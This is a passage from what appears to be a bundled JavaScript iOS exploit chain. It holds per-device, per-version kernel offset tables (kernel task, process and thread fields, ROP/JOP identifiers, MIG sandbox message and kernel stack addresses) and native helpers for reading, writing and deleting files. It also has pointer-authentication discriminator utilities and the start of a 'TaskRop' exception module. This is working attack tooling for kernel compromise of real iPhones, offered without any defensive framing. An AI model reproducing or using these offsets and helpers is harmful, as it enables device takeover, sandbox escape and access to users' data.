kernelTask: 0xa42b50n
},
5: {
kernelTask: 0xad6b78n,
migLock: 0x38d74e8n,
migSbxMsg: 0x38d7508n,
migKernelStackLR: 0x31b19e4n
},
6: {
kernelTask: 0xa4ad48n,
migLock: 0x352e1f0n,
migSbxMsg: 0x352e210n,
migKernelStackLR: 0x2e5ba20n,
}
}
}
},
// iPhone 11
// iPhone 11 Pro
// iPhone 11 Pro Max
// iPhone SE 2
"iPhone12": {
"*": {
23: {
0: {
pComm: 0x568n,
excGuard: 0x5bcn,
kstackptr: 0xf0n,
ropPid: 0x158n,
jopPid: 0x160n,
guardExcCode: 0x328n,
taskThreads: 0x368n,
tro: 0x378n,
ast: 0x39cn,
mutexData: 0x3a8n,
ctid: 0x428n,
troTask: 0x20n
},
3: {
kernelTask: 0x96c178n,
},
4: {
kernelTask: 0x970588n,
pComm: 0x56cn,
troTask: 0x28n,
guardExcCode: 0x330n,
taskThreads: 0x370n,
tro: 0x380n,
ast: 0x3a4n,
mutexData: 0x3b0n,
ctid: 0x430n,
procRO: 0x388n
},
5: {
kernelTask: 0x9749d8n
},
6: {
kernelTask: 0x974938n
},
6.1: {
kernelTask: 0x974988n
}
},
24: {
0: {
kernelTask: 0xa49488n,
pComm: 0x56cn,
procRO: 0x3a0n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5dcn,
kstackptr: 0xf8n,
ropPid: 0x160n,
jopPid: 0x168n,
guardExcCode: 0x330n,
taskThreads: 0x380n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n
},
1: {
kernelTask: 0xa494a0n,
taskThreads: 0x378n,
tro: 0x380n,
ast: 0x3a4n,
mutexData: 0x3b0n,
ctid: 0x430n
},
2: {
kernelTask: 0xa518c8n
},
3: {
kernelTask: 0xa498c8n
},
4: {
kernelTask: 0xacea90n,
procRO: 0x3c0n,
excGuard: 0x5fcn,
taskThreads: 0x380n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n
},
5: {
kernelTask: 0xad6b78n,
migLock: 0x38d74e8n,
migSbxMsg: 0x38d7508n,
migKernelStackLR: 0x31b19e4n,
},
6: {
kernelTask: 0xad6c88n,
guardExcCode: 0x338n,
taskThreads: 0x388n,
tro: 0x390n,
ast: 0x3b4n,
mutexData: 0x3c0n,
ctid: 0x440n,
migLock: 0x38e34e8n,
migSbxMsg: 0x38e3508n,
migKernelStackLR: 0x31ba7a0n,
}
}
},
"3": {
23: {
4: {
kernelTask: 0x974588n
},
5: {
kernelTask: 0x9789d8n
},
6: {
kernelTask: 0x974938n
},
6.1: {
kernelTask: 0x974988n
}
},
24: {
0: {
kernelTask: 0xa49488n
},
1: {
kernelTask: 0xa4d4a0n
},
2: {
kernelTask: 0xa558c8n
},
3: {
kernelTask: 0xa4d8c8n
},
4: {
kernelTask: 0xacea90n
},
5: {
kernelTask: 0xad6b78n,
migLock: 0x38d74e8n,
migSbxMsg: 0x38d7508n,
migKernelStackLR: 0x31b19e4n,
},
6: {
kernelTask: 0xad6c88n,
migLock: 0x38e7468n,
migSbxMsg: 0x38e7488n,
migKernelStackLR: 0x31bf5a0n,
}
}
},
"5": {
23: {
4: {
kernelTask: 0x974588n
},
5: {
kernelTask: 0x9789d8n
},
6: {
kernelTask: 0x974938n
},
6.1: {
kernelTask: 0x974988n
}
},
24: {
0: {
kernelTask: 0xa49488n
},
1: {
kernelTask: 0xa4d4a0n
},
2: {
kernelTask: 0xa558c8n
},
3: {
kernelTask: 0xa4d8c8n
},
4: {
kernelTask: 0xacea90n
},
5: {
kernelTask: 0xad6b78n,
migLock: 0x38d74e8n,
migSbxMsg: 0x38d7508n,
migKernelStackLR: 0x31b19e4n,
},
6: {
kernelTask: 0xad6c88n,
migLock: 0x38e7468n,
migSbxMsg: 0x38e7488n,
migKernelStackLR: 0x31bf5a0n,
}
}
},
"8": {
23: {
4: {
kernelTask: 0x960588n
},
5: {
kernelTask: 0x9649d8n
},
6: {
kernelTask: 0x964938n
},
6.1: {
kernelTask: 0x964988n
}
},
24: {
0: {
kernelTask: 0xa35488n
},
1: {
kernelTask: 0xa354a0n
},
2: {
kernelTask: 0xa3d8c8n
},
3: {
kernelTask: 0xa358c8n
},
4: {
kernelTask: 0xab6a90n
},
5: {
kernelTask: 0xabeb78n
},
6: {
kernelTask: 0xac2c88n,
migLock: 0x387a8e8n,
migSbxMsg: 0x387a908n,
migKernelStackLR: 0x3156f20n,
}
}
}
},
// iPhone 12
// iPhone 12 Mini
// iPhone 12 Pro
// iPhone 12 Pro Max
"iPhone13": {
"*": {
23: {
0: {
pComm: 0x568n,
excGuard: 0x5bcn,
kstackptr: 0xf0n,
ropPid: 0x158n,
jopPid: 0x160n,
guardExcCode: 0x318n,
taskThreads: 0x358n,
tro: 0x368n,
ast: 0x38cn,
mutexData: 0x390n,
ctid: 0x418n,
troTask: 0x20n
},
3: {
kernelTask: 0x94c2d0n,
guardExcCode: 0x328n,
taskThreads: 0x368n,
tro: 0x378n,
ast: 0x39cn,
mutexData: 0x3a8n,
ctid: 0x428n
},
4: {
kernelTask: 0x9546e0n,
pComm: 0x56cn,
troTask: 0x28n,
guardExcCode: 0x330n,
taskThreads: 0x370n,
tro: 0x380n,
ast: 0x3a4n,
mutexData: 0x3b0n,
ctid: 0x430n,
procRO: 0x388n
},
5: {
kernelTask: 0x954b30n
},
6: {
kernelTask: 0x954a90n
},
6.1: {
kernelTask: 0x954ae0n
}
},
24: {
0: {
kernelTask: 0xa295e0n,
pComm: 0x56cn,
procRO: 0x3a0n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5dcn,
kstackptr: 0xf8n,
ropPid: 0x160n,
jopPid: 0x168n,
guardExcCode: 0x330n,
taskThreads: 0x380n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n
},
1: {
kernelTask: 0xa2d5f8n,
taskThreads: 0x378n,
tro: 0x380n,
ast: 0x3a4n,
mutexData: 0x3b0n,
ctid: 0x430n
},
2: {
kernelTask: 0xa35a20n
},
3: {
kernelTask: 0xa2da20n
},
4: {
kernelTask: 0xa9ebe8n,
procRO: 0x3c0n,
excGuard: 0x5fcn,
taskThreads: 0x380n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n,
migLock: 0x37b8b80n,
migSbxMsg: 0x37b8ba0n,
migKernelStackLR: 0x3190fa0n
},
5: {
kernelTask: 0xaa6cd0n,
migLock: 0x37d4c90n,
migSbxMsg: 0x37d4cb0n,
migKernelStackLR: 0x31acce4n
},
6: {
kernelTask: 0xaaade0n,
guardExcCode: 0x338n,
taskThreads: 0x388n,
tro: 0x390n,
ast: 0x3b4n,
mutexData: 0x3c0n,
ctid: 0x440n,
migLock: 0x37dcc90n,
migSbxMsg: 0x37dccb0n,
migKernelStackLR: 0x31b5b60n,
}
}
}
},
// iPhone 13
// iPhone 13 Mini
// iPhone 13 Pro
// iPhone 13 Pro Max
// iPhone SE 3
// iPhone 14
// iPhone 14 Plus
"iPhone14": {
"*": {
23: {
0: {
pComm: 0x568n,
excGuard: 0x5d4n,
kstackptr: 0xf0n,
ropPid: 0x160n,
jopPid: 0x168n,
guardExcCode: 0x330n,
taskThreads: 0x370n,
tro: 0x380n,
ast: 0x3a4n,
mutexData: 0x3b0n,
ctid: 0x430n,
troTask: 0x20n
},
3: {
kernelTask: 0x918ee0n,
},
4: {
kernelTask: 0x91d318n,
pComm: 0x56cn,
troTask: 0x28n,
guardExcCode: 0x338n,
taskThreads: 0x378n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n
},
5: {
kernelTask: 0x925770n
},
6: {
kernelTask: 0x9256d0n
},
6.1: {
kernelTask: 0x925720n
}
},
24: {
0: {
kernelTask: 0x9f6230n,
pComm: 0x56cn,
procRO: 0x3b8n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5f4n,
kstackptr: 0xf8n,
ropPid: 0x168n,
jopPid: 0x170n,
guardExcCode: 0x338n,
taskThreads: 0x388n,
tro: 0x390n,
ast: 0x3b4n,
mutexData: 0x3c0n,
ctid: 0x440n
},
1: {
kernelTask: 0x9f6248n,
taskThreads: 0x380n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n
},
2: {
kernelTask: 0xa02678n
},
3: {
kernelTask: 0x9fa678n
},
4: {
kernelTask: 0xa67b18n,
procRO: 0x3e0n,
excGuard: 0x624n,
taskThreads: 0x388n,
tro: 0x390n,
ast: 0x3b4n,
mutexData: 0x3c0n,
ctid: 0x448n,
migLock: 0x382c218n,
migSbxMsg: 0x382c238n,
migKernelStackLR: 0x317d020n
},
5: {
kernelTask: 0xa6fc00n,
migLock: 0x3848428n,
migSbxMsg: 0x3848448n,
migKernelStackLR: 0x31994a4n
},
6: {
kernelTask: 0xa73d10n,
guardExcCode: 0x340n,
taskThreads: 0x390n,
tro: 0x398n,
ast: 0x3bcn,
mutexData: 0x3c8n,
ctid: 0x450n,
migLock: 0x38543a8n,
migSbxMsg: 0x38543c8n,
migKernelStackLR: 0x31a27e0n,
}
}
},
"6": {
23: {
4: {
kernelTask: 0x92d318n
},
5: {
kernelTask: 0x935770n
},
6: {
kernelTask: 0x9316d0n
},
6.1: {
kernelTask: 0x931720n
}
},
24: {
0: {
kernelTask: 0xa06230n
},
1: {
kernelTask: 0xa06248n
},
2: {
kernelTask: 0xa12678n
},
3: {
kernelTask: 0xa0a678n
},
4: {
kernelTask: 0xa77b18n,
migLock: 0x3898c18n,
migSbxMsg: 0x3898c38n,
migKernelStackLR: 0x31dff60n
},
5: {
kernelTask: 0xa7fc00n,
migLock: 0x38b4e28n,
migSbxMsg: 0x38b4e48n,
migKernelStackLR: 0x31fc3e4n
},
6: {
kernelTask: 0xa83d10n,
migLock: 0x38bcda8n,
migSbxMsg: 0x38bcdc8n,
migKernelStackLR: 0x3205560n,
}
}
},
"7": {
23: {
4: {
kernelTask: 0x919318n
},
5: {
kernelTask: 0x921770n
},
6: {
kernelTask: 0x9216d0n
},
6.1: {
kernelTask: 0x921720n
}
},
24: {
0: {
kernelTask: 0x9f2230n
},
1: {
kernelTask: 0x9f2248n
},
2: {
kernelTask: 0x9fe678n
},
3: {
kernelTask: 0x9f6678n
},
4: {
kernelTask: 0xa67b18n,
migLock: 0x3813d98n,
migSbxMsg: 0x3813db8n,
migKernelStackLR: 0x3163ae0n
},
5: {
kernelTask: 0xa6fc00n,
migLock: 0x382ffa8n,
migSbxMsg: 0x382ffc8n,
migKernelStackLR: 0x317ffa4n
},
6: {
kernelTask: 0xa6fd10n,
migLock: 0x3833fa8n,
migSbxMsg: 0x3833fc8n,
migKernelStackLR: 0x31852a0n,
}
}
},
"8": {
23: {
4: {
kernelTask: 0x919318n
},
5: {
kernelTask: 0x921770n
},
6: {
kernelTask: 0x9216d0n
},
6.1: {
kernelTask: 0x921720n
}
},
24: {
0: {
kernelTask: 0x9f2230n
},
1: {
kernelTask: 0x9f2248n
},
2: {
kernelTask: 0x9fe678n
},
3: {
kernelTask: 0x9f6678n
},
4: {
kernelTask: 0xa67b18n,
migLock: 0x3813d98n,
migSbxMsg: 0x3813db8n,
migKernelStackLR: 0x3163ae0n
},
5: {
kernelTask: 0xa6fc00n,
migLock: 0x382ffa8n,
migSbxMsg: 0x382ffc8n,
migKernelStackLR: 0x317ffa4n
},
6: {
kernelTask: 0xa6fd10n,
migLock: 0x3833fa8n,
migSbxMsg: 0x3833fc8n,
migKernelStackLR: 0x31852a0n,
}
}
}
},
// iPhone 14 Pro
// iPhone 14 Pro Max
// iPhone 15
// iPhone 15 Plus
"iPhone15": {
"*": {
23: {
0: {
pComm: 0x568n,
excGuard: 0x5d4n,
kstackptr: 0xf0n,
ropPid: 0x160n,
jopPid: 0x168n,
guardExcCode: 0x330n,
taskThreads: 0x370n,
tro: 0x380n,
ast: 0x3a4n,
mutexData: 0x3b0n,
ctid: 0x430n,
troTask: 0x20n
},
3: {
kernelTask: 0x914e00n,
},
4: {
kernelTask: 0x919238n,
pComm: 0x56cn,
troTask: 0x28n,
guardExcCode: 0x338n,
taskThreads: 0x378n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n
},
5: {
kernelTask: 0x921690n
},
6: {
kernelTask: 0x9215f0n
},
6.1: {
kernelTask: 0x921640n
},
6.2: {
kernelTask: 0x91d640n
}
},
24: {
0: {
kernelTask: 0x9ee150n,
pComm: 0x56cn,
procRO: 0x3b8n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5f4n,
kstackptr: 0xf8n,
ropPid: 0x168n,
jopPid: 0x170n,
guardExcCode: 0x338n,
taskThreads: 0x388n,
tro: 0x390n,
ast: 0x3b4n,
mutexData: 0x3c0n,
ctid: 0x440n
},
1: {
kernelTask: 0x9f2168n,
taskThreads: 0x380n,
tro: 0x388n,
ast: 0x3acn,
mutexData: 0x3b8n,
ctid: 0x438n
},
2: {
kernelTask: 0x9fe598n
},
3: {
kernelTask: 0x9f6598n
},
4: {
kernelTask: 0xa67c18n,
procRO: 0x3e0n,
excGuard: 0x624n,
taskThreads: 0x388n,
tro: 0x390n,
ast: 0x3b4n,
mutexData: 0x3c0n,
ctid: 0x448n,
migLock: 0x37863f8n,
migSbxMsg: 0x3786418n,
migKernelStackLR: 0x3131620n
},
5: {
kernelTask: 0xa6fd00n,
migLock: 0x37a2788n,
migSbxMsg: 0x37a27a8n,
migKernelStackLR: 0x314dc24n
},
6: {
kernelTask: 0xa6fe10n,
guardExcCode: 0x340n,
taskThreads: 0x390n,
tro: 0x398n,
ast: 0x3bcn,
mutexData: 0x3c8n,
ctid: 0x450n,
migLock: 0x37aa708n,
migSbxMsg: 0x37aa728n,
migKernelStackLR: 0x3152ee0n
}
}
},
"4": {
23: {
4: {
kernelTask: 0x941238n
},
5: {
kernelTask: 0x949690n
},
6: {
kernelTask: 0x9495f0n
},
6.1: {
kernelTask: 0x949640n
}
},
24: {
0: {
kernelTask: 0xa2a150n
},
1: {
kernelTask: 0xa2a168n
},
2: {
kernelTask: 0xa3a598n
},
3: {
kernelTask: 0xa32598n
},
4: {
kernelTask: 0xaa3c18n,
migLock: 0x38c5388n,
migSbxMsg: 0x38c53a8n,
migKernelStackLR: 0x325f1e0n
},
5: {
kernelTask: 0xaa7d00n,
migLock: 0x38dd698n,
migSbxMsg: 0x38dd6b8n,
migKernelStackLR: 0x32777e4n
},
6: {
kernelTask: 0xaabe10n,
migLock: 0x38e5618n,
migSbxMsg: 0x38e5638n,
migKernelStackLR: 0x3280aa0n,
}
}
},
"5": {
23: {
4: {
kernelTask: 0x941238n
},
5: {
kernelTask: 0x949690n
},
6: {
kernelTask: 0x9495f0n
},
6.1: {
kernelTask: 0x949640n
}
},
24: {
0: {
kernelTask: 0xa2a150n
},
1: {
kernelTask: 0xa2a168n
},
2: {
kernelTask: 0xa3a598n
},
3: {
kernelTask: 0xa32598n
},
4: {
kernelTask: 0xaa3c18n,
migLock: 0x38c5388n,
migSbxMsg: 0x38c53a8n,
migKernelStackLR: 0x325f1e0n
},
5: {
kernelTask: 0xaa7d00n,
migLock: 0x38dd698n,
migSbxMsg: 0x38dd6b8n,
migKernelStackLR: 0x32777e4n
},
6: {
kernelTask: 0xaabe10n,
migLock: 0x38e5618n,
migSbxMsg: 0x38e5638n,
migKernelStackLR: 0x3280aa0n,
}
}
}
},
// iPhone 15 Pro
// iPhone 15 Pro Max
"iPhone16": {
"*": {
23: {
0: {
pComm: 0x568n,
excGuard: 0x5d4n,
kstackptr: 0x140n,
ropPid: 0x1b0n,
jopPid: 0x1b8n,
guardExcCode: 0x380n,
taskThreads: 0x3c0n,
tro: 0x3d0n,
ast: 0x3f4n,
mutexData: 0x400n,
ctid: 0x480n,
troTask: 0x20n
},
3: {
kernelTask: 0x978ef0n,
},
4: {
kernelTask: 0x991eb0n,
pComm: 0x56cn,
troTask: 0x28n,
options: 0xc0n,
guardExcCode: 0x388n,
taskThreads: 0x3c8n,
tro: 0x3d8n,
ast: 0x3fcn,
mutexData: 0x408n,
ctid: 0x488n
},
5: {
kernelTask: 0x99a308n,
},
6: {
kernelTask: 0x99a268n
},
6.1: {
kernelTask: 0x99a2b8n
},
6.2: {
kernelTask: 0x9962b8n
}
},
24: {
0: {
kernelTask: 0xaae870n,
pComm: 0x56cn,
procRO: 0x3b8n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5f4n,
kstackptr: 0x148n,
ropPid: 0x1b8n,
jopPid: 0x1c0n,
guardExcCode: 0x388n,
taskThreads: 0x3d8n,
tro: 0x3e0n,
ast: 0x404n,
mutexData: 0x410n,
ctid: 0x490n,
options: 0xc0n
},
1: {
kernelTask: 0xaae888n,
taskThreads: 0x3d0n,
tro: 0x3d8n,
ast: 0x3fcn,
mutexData: 0x408n,
ctid: 0x488n
},
2: {
kernelTask: 0xab6cb8n
},
3: {
kernelTask: 0xab2cb8n
},
4: {
kernelTask: 0xb23d28n,
procRO: 0x3e0n,
excGuard: 0x624n,
taskThreads: 0x3d8n,
tro: 0x3e0n,
ast: 0x404n,
mutexData: 0x410n,
ctid: 0x498n,
migLock: 0x3c03ef0n,
migSbxMsg: 0x3c03f10n,
migKernelStackLR: 0x3582fe0n
},
5: {
kernelTask: 0xb2be10n,
migLock: 0x3c181a8n,
migSbxMsg: 0x3c181c8n,
migKernelStackLR: 0x35993a4n
},
6: {
kernelTask: 0xb2ff20n,
guardExcCode: 0x390n,
taskThreads: 0x3e0n,
tro: 0x3e8n,
ast: 0x40cn,
mutexData: 0x418n,
ctid: 0x4a0n,
migLock: 0x3c241a8n,
migSbxMsg: 0x3c241c8n,
migKernelStackLR: 0x35a26a0n,
}
}
}
},
// iPhone 16
// iPhone 16 plus
// iPhone 16 pro
// iPhone 16 pro max
"iPhone17": {
"*": {
24: {
0: {
kernelTask: 0xb7e1c8n,
pComm: 0x56cn,
procRO: 0x3b8n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5fcn,
kstackptr: 0x148n,
ropPid: 0x1b8n,
jopPid: 0x1c0n,
guardExcCode: 0x390n,
taskThreads: 0x3e0n,
tro: 0x3e8n,
ast: 0x40cn,
mutexData: 0x418n,
ctid: 0x4a8n,
options: 0xc0n
},
1: {
kernelTask: 0xb7e1e0n,
taskThreads: 0x3d8n,
tro: 0x3e0n,
ast: 0x404n,
mutexData: 0x410n,
ctid: 0x4a0n,
},
2: {
kernelTask: 0xb86610n
},
3: {
kernelTask: 0xb82610n
},
4: {
kernelTask: 0xc0fd80n,
procRO: 0x3e0n,
excGuard: 0x624n,
taskThreads: 0x3e0n,
tro: 0x3e8n,
ast: 0x40cn,
mutexData: 0x418n,
ctid: 0x4a8n,
migLock: 0x4042dc0n,
migSbxMsg: 0x4042de0n,
migKernelStackLR: 0x3912aa0n
},
5: {
kernelTask: 0xc17e68n,
migLock: 0x405eff8n,
migSbxMsg: 0x405f018n,
migKernelStackLR: 0x392be64n
},
6: {
kernelTask: 0xc1bf78n,
guardExcCode: 0x398n,
taskThreads: 0x3e8n,
tro: 0x3f0n,
ast: 0x414n,
mutexData: 0x420n,
ctid: 0x4b0n,
migLock: 0x4066f88n,
migSbxMsg: 0x4066fa8n,
migKernelStackLR: 0x39352e0n,
}
}
},
"5": {
24: {
0: {
kernelTask: 0xb7e1c8n,
pComm: 0x56cn,
procRO: 0x3b8n,
ipcSpace: 0x318n,
troTask: 0x28n,
excGuard: 0x5fcn,
kstackptr: 0x148n,
ropPid: 0x1b8n,
jopPid: 0x1c0n,
guardExcCode: 0x390n,
taskThreads: 0x3e0n,
tro: 0x3e8n,
ast: 0x40cn,
mutexData: 0x418n,
ctid: 0x4a8n,
options: 0xc0n
},
1: {
kernelTask: 0xb7e1e0n,
taskThreads: 0x3d8n,
tro: 0x3e0n,
ast: 0x404n,
mutexData: 0x410n,
ctid: 0x4a0n,
},
2: {
kernelTask: 0xb86610n
},
3: {
kernelTask: 0xb82610n
},
4: {
kernelTask: 0xc0fd80n,
procRO: 0x3e0n,
excGuard: 0x624n,
taskThreads: 0x3e0n,
tro: 0x3e8n,
ast: 0x40cn,
mutexData: 0x418n,
ctid: 0x4a8n,
migLock: 0x408acd0n,
migSbxMsg: 0x408acf0n,
migKernelStackLR: 0x396e4a0n
},
5: {
kernelTask: 0xc17e68n,
migLock: 0x40a6f08n,
migSbxMsg: 0x40a6f28n,
migKernelStackLR: 0x3987924n
},
6: {
kernelTask: 0xc1ff78n,
guardExcCode: 0x398n,
taskThreads: 0x3e8n,
tro: 0x3f0n,
ast: 0x414n,
mutexData: 0x420n,
ctid: 0x4b0n,
migLock: 0x40b6e98n,
migSbxMsg: 0x40b6eb8n,
migKernelStackLR: 0x3998de0n,
}
}
}
}
}
/***/ }),
/***/ "./src/libs/JSUtils/FileUtils.js":
/*!***************************************!*\
!*** ./src/libs/JSUtils/FileUtils.js ***!
\***************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ FileUtils)
/* harmony export */ });
const TAG = "FILE-UTILS";
const O_RDONLY = 0x0000;
const O_WRONLY = 0x0001;
const O_RDWR = 0x0002;
const O_APPEND = 0x0008;
const O_CREAT = 0x0200;
const O_TRUNC = 0x0400;
const O_EVTONLY = 0x8000;
const ERROR = -1;
const DT = {
DT_UNKNOWN: 0,
DT_FIFO: 1,
DT_CHR: 2,
DT_DIR: 4,
DT_BLK: 6,
DT_REG: 8,
DT_LNK: 10,
DT_SOCK: 12,
DT_WHT: 14
};
const SEEK_SET = 0;
class FileUtils {
static open(path) {
const fd = Native.callSymbol("open", path, O_RDONLY);
if (fd == ERROR) {
console.log(TAG, "Unable to open: " + path);
return false;
}
return fd;
}
static close(fd) {
Native.callSymbol("close", fd);
}
static read(fd, size=0) {
if (!size || size > Native.memSize)
size = Native.memSize;
const len = Native.callSymbol("read", fd, Native.mem, size);
if (!len || len == ERROR)
return false;
const buff = Native.read(Native.mem, len);
return buff;
}
static readFile(path, seek=0, length=0) {
const fd = this.open(path);
if (fd === false)
return null;
let data = new Uint8Array();
if (seek)
Native.callSymbol("lseek", fd, seek, SEEK_SET);
let remaining = length;
while (true) {
let size = remaining ? remaining : Native.memSize;
if (size > Native.memSize)
size = Native.memSize;
const buff = this.read(fd, size);
if (buff === false)
break;
const buff8 = new Uint8Array(buff);
let newData = new Uint8Array(data.length + buff8.length);
newData.set(data, 0);
newData.set(buff8, data.length);
data = newData;
if (remaining) {
remaining -= buff.byteLength;
if (!remaining)
break;
}
}
this.close(fd);
return data.buffer;
}
static writeFile(path, data) {
return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC);
}
static appendFile(path, data) {
return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND);
}
static deleteFile(path) {
Native.callSymbol("unlink", path);
}
static foreachDir(path, func) {
let dir = Native.callSymbol("opendir", path);
if (!dir) {
console.log(TAG, "Unable to open dir: " + path);
return;
}
while (true) {
let item = this.#readdir(dir);
if (!item)
break;
switch (item.d_type) {
case DT.DT_DIR:
if (item.d_name.startsWith("."))
break;
func(item.d_name);
break;
}
}
Native.callSymbol("closedir", dir);
}
static foreachFile(path, func) {
let dir = Native.callSymbol("opendir", path);
if (!dir) {
console.log(TAG, "Unable to open dir: " + path);
return false;
}
while (true) {
let item = this.#readdir(dir);
if (!item)
break;
switch (item.d_type) {
case DT.DT_REG:
func(item.d_name);
break;
}
}
Native.callSymbol("closedir", dir);
return true;
}
static createDir(path, permission=0o755) {
return !Native.callSymbol("mkdir", path, permission);
}
static deleteDir(path, recursive=false) {
if (recursive) {
const dir = Native.callSymbol("opendir", path);
if (!dir) {
console.log(TAG, "deleteDir: Unable to open dir: " + path);
return false;
}
while (true) {
const item = this.#readdir(dir);
if (!item)
break;
const newPath = path + '/' + item.d_name;
switch (item.d_type) {
case DT.DT_DIR:
if (item.d_name.startsWith("."))
break;
this.deleteDir(newPath, true);
break;
case DT.DT_REG:
console.log(TAG, `deleting: ${newPath}`);
this.deleteFile(newPath);
break;
}
}
Native.callSymbol("closedir", dir);
}
return !Native.callSymbol("rmdir", path);
}
static exists(path, permission=0/*F_OK*/) {
return !Native.callSymbol("access", path, permission);
}
static stat(path) {
const ret = Native.callSymbol("stat", path, Native.mem);
if (ret == ERROR)
return null;
const buff = Native.read(Native.mem, 144);
const view = new DataView(buff);
const dev = view.getInt32(0, true);
const mode = view.getUint16(0x4, true);
const nlink = view.getUint16(0x6, true);
const ino = view.getBigUint64(0x8, true);
const uid = view.getUint32(0x10, true);
const gid = view.getUint32(0x14, true);
const atime_tv_sec = view.getBigInt64(0x20, true);
const mtime_tv_sec = view.getBigInt64(0x30, true);
const ctime_tv_sec = view.getBigInt64(0x40, true);
const size = view.getBigInt64(0x60, true);
return {
mode: Number(mode),
ino: Number(ino),
dev: Number(dev),
nlink: Number(nlink),
uid: Number(uid),
gid: Number(gid),
size: Number(size),
atime: Number(atime_tv_sec),
mtime: Number(mtime_tv_sec),
ctime: Number(ctime_tv_sec)
};
}
static #readdir(dir) {
const itemPtr = Native.callSymbol("readdir", dir);
if (!itemPtr)
return null;
const item = Native.read(itemPtr, 24);
const view = new DataView(item);
const d_ino = view.getBigUint64(0, true);
const d_namlen = view.getUint16(18, true);
const d_type = view.getUint8(20);
const d_name = Native.readString(itemPtr + 21n, d_namlen + 1);
return {
d_ino: d_ino,
d_type: d_type,
d_name: d_name
};
}
static #commonWriteFile(path, data, flags) {
const fd = Native.callSymbol("open", path, flags, 0o644);
if (fd == ERROR) {
console.log(TAG, "Unable to open: " + path);
return false;
}
// For some reason file mode is not applied on open()
Native.callSymbol("fchmod", fd, 0o644);
let offs = 0;
let left = data.byteLength;
const buffSize = 0x4000;
const buffPtr = Native.callSymbol("malloc", buffSize);
while (true) {
const size = left > buffSize ? buffSize : left;
const src8 = new Uint8Array(data, offs, size);
const dst8 = new Uint8Array(src8);
Native.write(buffPtr, dst8.buffer);
const len = Native.callSymbol("write", fd, buffPtr, size);
if (!len || len == ERROR)
break;
offs += len;
left -= len;
if (!left)
break;
}
Native.callSymbol("free", buffPtr);
Native.callSymbol("close", fd);
return true;
}
}
/***/ }),
/***/ "./src/libs/JSUtils/Utils.js":
/*!***********************************!*\
!*** ./src/libs/JSUtils/Utils.js ***!
\***********************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Utils)
/* harmony export */ });
const TAG = "UTILS";
const DT = {
DT_UNKNOWN: 0,
DT_FIFO: 1,
DT_CHR: 2,
DT_DIR: 4,
DT_BLK: 6,
DT_REG: 8,
DT_LNK: 10,
DT_SOCK: 12,
DT_WHT: 14
};
class Utils {
static UINT64_SIZE = 8;
static UINT32_SIZE = 4;
static UINT16_SIZE = 2;
static ARM_THREAD_STATE64 = 6;
static ARM_THREAD_STATE64_SIZE = 0x110;
static ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE);
static ptrauth_key_asia = 0;
static EXC_BAD_ACCESS = 1n;
static EXC_GUARD = 12n;
static EXC_MASK_GUARD = (1n << this.EXC_GUARD);
static EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS);
static EXCEPTION_STATE = 2n;
static MACH_EXCEPTION_CODES = 0x80000000n;
static PAGE_SIZE = 0x4000n;
static PAGE_MASK = (this.PAGE_SIZE - 1n);
static hex(val) {
return val.toString(16);
}
static memmem(haystack, needle) {
const hLen = haystack.byteLength;
const nLen = needle.byteLength;
if (nLen === 0 || hLen < nLen) {
return 0;
}
const haystackView = new Uint8Array(haystack);
const needleView = new Uint8Array(needle);
for (let i = 0; i <= hLen - nLen; i++) {
let found = true;
for (let j = 0; j < nLen; j++) {
if (haystackView[i + j] !== needleView[j]) {
found = false;
break;
}
}
if (found) {
return i;
}
}
return 0;
}
static ptrauth_string_discriminator(discriminator)
{
switch (discriminator) {
case "pc":
return 0x7481n;
case "lr":
return 0x77d3n;
case "sp":
return 0xcbedn;
case "fp":
return 0x4517n;
default:
console.log(TAG,`Cannot find discriminator for value:${discriminator}`);
return 0n;
}
}
static ptrauth_string_discriminator_special(discriminator)
{
switch (discriminator) {
case "pc":
return 0x7481000000000000n;
case "lr":
return 0x77d3000000000000n;
case "sp":
return 0xcbed000000000000n;
case "fp":
return 0x4517000000000000n;
default:
console.log(TAG,`Cannot find discriminator for value:${discriminator}`);
return 0n;
}
}
static ptrauth_blend_discriminator(diver,discriminator)
{
return diver & 0xFFFFFFFFFFFFn | discriminator;
}
static printArrayBufferInChunks(buffer) {
const view = new DataView(buffer);
const chunkSize = 8;
for (let i = 0; i < buffer.byteLength; i += chunkSize) {
// Read the chunk as a BigInt
const chunk = view.getBigUint64(i, true); // Little-endian
console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`);
}
}
static MIN(a, b)
{
if(a < b)
return a;
return b;
}
static MAX(a, b)
{
if(a > b)
return a;
return b;
}
}
/***/ }),
/***/ "./src/libs/TaskRop/Exception.js":
/*!***************************************!*\
!*** ./src/libs/TaskRop/Exception.js ***!
\***************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Exception)
/* harmony export */ });
